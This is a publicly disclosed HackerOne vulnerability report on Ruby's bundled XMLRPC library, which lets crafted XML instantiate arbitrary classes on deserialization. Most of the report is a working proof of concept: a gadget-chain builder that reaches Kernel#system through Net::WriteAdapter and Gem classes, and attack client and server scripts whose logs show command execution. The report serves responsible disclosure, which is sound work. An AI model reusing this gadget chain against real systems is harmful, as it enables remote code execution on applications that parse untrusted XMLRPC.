HexBrain

Ruby · Report #1189419

XMLRPC does not limit deserializable classes.

Informativestatus
highseverity
3upvotes
1 Aug 2023disclosed

How it was found

I confirmed that the classes that can be generated by parsing the xml sent in the request or response by XMLRPC bundled in ruby are not restricted.

https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/create.rb#L251

  if Config::ENABLE_MARSHALLING and param.class.included_modules.include? XMLRPC::Marshallable
    # convert Ruby object into Hash
    ret = {"___class___" => param.class.name}
    param.instance_variables.each {|v|

When converting parameters to XML, limited to those that include XMLRPC::Marshallable.

https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/parser.rb#L104

# Converts the given +hash+ to a marshalled object.
#
# Returns the given +hash+ if an exception occurs.
def self.struct(hash)
  # convert to marshalled object
  klass = hash["___class___"]
  if klass.nil? or Config::ENABLE_MARSHALLING == false
    hash
  else
    begin
      mod = Module
      klass.split("::").each {|const| mod = mod.const_get(const.strip)}

      obj = mod.allocate

      hash.delete "___class___"
      hash.each {|key, value|
        obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/
      }
      obj
    rescue
      hash
    end
  end
end

However, there are no class restrictions when parsing.

https://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/config.rb#L27

    # enable marshalling Ruby objects which include XMLRPC::Marshallable
    ENABLE_MARSHALLING   = true

Config::ENABLE_MARSHALLING is true by default so there is no limit to the classes that can be restored.


PoC

Prepare

create build_xml.rb

require "xmlrpc/marshal"

# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# Because the classes that can be dumped are limited
class Array
  def include?(_)
    true
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

creater = XMLRPC::Create.new
call_xml = creater.methodCall("for_call", r)
File.write('attack_call.xml', call_xml)

response_xml = creater.methodResponse("for_response", r)
File.write('attack_response.xml', response_xml)
$ cat Gemfile
# frozen_string_literal: true

source "https://rubygems.org"

gem 'xmlrpc', '~> 0.3.2'
gem 'webrick', '~> 1.7'
gem 'rack', '~> 2.2', '>= 2.2.3'

$ bundle install
...

$ bundle exec ruby build_xml.rb
# create attack_call.xml and attack_response.xml

PoC for server attack

# craft_client.rb
require "xmlrpc/client"

server = XMLRPC::Client.new("localhost", "/RPC2", 8080)
craft = File.read("./attack_call.xml")
ok, param = server.send(:do_rpc, craft)


if ok then
  puts "param: #{param}"
else
  puts "Error:"
  puts param.faultCode
  puts param.faultString
end
# xmlrpc_server.rb

require "webrick"
require "xmlrpc/server"

# required classes
require 'net/http'
Gem::Installer

s = XMLRPC::WEBrickServlet.new

s.add_handler("for_call") do |param|
  param.to_s
end

httpserver = WEBrick::HTTPServer.new(:Port => 8080)
httpserver.mount("/RPC2", s)
trap(:INT){httpserver.shutdown}
httpserver.start
❯ bundle exec ruby craft_client.rb
param:

❯ bundle exec ruby xmlrpc_server.rb
[2021-05-09 20:49:35] INFO  WEBrick 1.7.0
[2021-05-09 20:49:35] INFO  ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:49:35] INFO  WEBrick::HTTPServer#start: pid=48443 port=8080
sh: reading: command not found
2021年 5月 9日 日曜日 20時49分44秒 JST
::1 - - [09/May/2021:20:49:44 JST] "POST /RPC2 HTTP/1.1" 200 319
- -> /RPC2

PoC for client attack

# xmlrpc_client.rb

require "xmlrpc/client"

# required classes
Gem::Installer

server = XMLRPC::Client.new("localhost", "/RPC", 8080)
ok, param = server.call2("xxx", 4, 5)

if ok then
   puts "param: #{param}" # call param.to_s
else
  puts "Error:"
  puts param.faultCode
  puts param.faultString
end
# craft_server.rb

require "webrick"

httpserver = WEBrick::HTTPServer.new(:Port => 8080)

httpserver.mount_proc('/RPC') do |req, res|
  res.body = File.read("./attack_response.xml")
end

trap(:INT){httpserver.shutdown}
httpserver.start
❯ bundle exec ruby xmlrpc_client.rb
sh: reading: command not found
2021年 5月 9日 日曜日 20時50分48秒 JST
Traceback (most recent call last):
  ...
❯ bundle exec ruby craft_server.rb
[2021-05-09 20:50:34] INFO  WEBrick 1.7.0
[2021-05-09 20:50:34] INFO  ruby 2.7.1 (2020-03-31) [x86_64-darwin19]
[2021-05-09 20:50:34] INFO  WEBrick::HTTPServer#start: pid=48570 port=8080
::1 - - [09/May/2021:20:50:48 JST] "POST /RPC HTTP/1.1" 200 1679
- -> /RPC

Impact

Unintentional classes are created by crafted XML on both the server and client.

Whether RCE is possible depends on the implementation of the application. In order for the gadget chain for Marshal.load to work, need to find that the class is loaded and where methods such as to_s are called.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original